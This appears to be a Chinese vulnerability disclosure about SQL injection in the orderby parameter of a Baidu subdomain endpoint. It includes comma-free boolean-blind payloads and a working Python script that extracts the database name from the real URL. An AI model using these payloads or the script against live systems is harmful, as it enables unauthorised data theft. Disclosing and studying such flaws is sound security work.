百度某分站存在SQL注入漏洞(orderby注射技巧)
测试扫描器 结果没有识别出来 查看请求信息直觉有漏洞
注入点确实有点蛋疼
POST: http://trends.baidu.com/tour/ajax/scenic
provinceId=26×tamp=1437191757000&orderby=heat,desc
orderby参数存在注入
这里的逗号会被替换成空格 也就是order by heat desc
所以不能带逗号 然后heat这个点不存在注入点 desc处是存在的
因为不能带逗号所以不能形成如下的注入语句
order by id desc,if((116>115),1,(select 1 from information_schema.tables))
order by id,if(1=1,1,(select 1 from information_schema.tables))
经过测试发现可用如下payload
heat,rlike case when (1=1) then 1 else char(40) end
因为不支持0x28这种格式所以换成char(40)
1=1时正常
1=2时异常
形成bool盲注
import urllib
import urllib2
import httplib
import time
user = ''
for i in range(1,7):
for j in range(32,127):
values = {'provinceId':'26','timestamp':'1437191757000','orderby':'heat,rlike case when (ascii(mid(database()from('+str(i)+')for(1)))='+str(j)+') then 1 else char(40) end'}
data = urllib.urlencode(values)
req = urllib2.Request("http://trends.baidu.com/tour/ajax/scenic",data)
response = urllib2.urlopen(req)
html = response.read()
if html.find('"status":403')==-1:
user = user + chr(j)
print 'Database is : '+user
break
因为貌似有负载均衡导致user()[email protected] 所以这里只注database()
只过滤了逗号 绕过注出所有数据无压力 我就不深入了
heat,rlike case when (select count(1) from information_schema.tables limit 1 offset 0)>0 then 1 else char(40) end
返回正常 仅证明到这 都懂的
解决方案:
过滤